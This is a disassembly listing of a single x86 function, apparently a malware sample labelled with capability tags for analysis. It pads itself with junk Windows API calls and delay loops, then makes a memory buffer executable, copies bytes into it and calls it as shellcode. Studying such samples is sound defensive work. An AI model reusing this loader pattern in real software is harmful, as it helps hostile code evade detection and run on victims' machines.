Function at 0x403a15
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403a43
inc edi
cmp edi, 0x67d12
jl 0x403a25
cmp dword [0x283d620], 0x93
jne 0x403b07
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
call dword [sym.imp.USER32.dll_DrawMenuBar]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00403fe4
pop ecx
push esi
push esi
call fcn.0040464d
push esi
call fcn.00404540
add esp, 0xc
push esi
push esi
call fcn.004047ad
push esi
push esi
call fcn.00403fad
push esi
push esi
call fcn.0040456f
add esp, 0x18
mov eax, dword [0x444c1c]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x283d620], 0x1134b
push 0x4036b0
mov dword [0x283d624], eax
call ebx
push dword [0x283d620]
mov dword [0x283c7dc], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x283d620]
mov dword [0x283c274], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x1692e
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
push esi
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec edi
jne 0x403b57
cmp dword [0x283d620], esi
jbe 0x403bd3
mov eax, dword [0x283d624]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x283c274]
mov byte [ecx + edi], al
cmp dword [0x283d620], 0x490
jne 0x403bca
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call ebx
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x283d620]
jb 0x403b80
xor edi, edi
mov eax, dword [0x283d620]
add eax, edi
cmp eax, 0x8d
jne 0x403c15
push esi
lea eax, [ebp - 0x840]
push eax
push esi
push 0x4036cc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc edi
cmp edi, 0x38681
jl 0x403bd5
call fcn.00403955
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x403c43
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x1174f
mov eax, dword [ebp - 4]
add dword [0x283c274], eax
inc edi
cmp edi, 0x674bd
jl 0x403c25
push 0x7b
pop edi
cmp dword [0x283d620], 0x86
jne 0x403c88
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push esi
push dword [ebp - 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403c4f
push 0x4036d4
call ebx
call dword [0x283c274]
pop edi
pop esi
pop ebx
leave
ret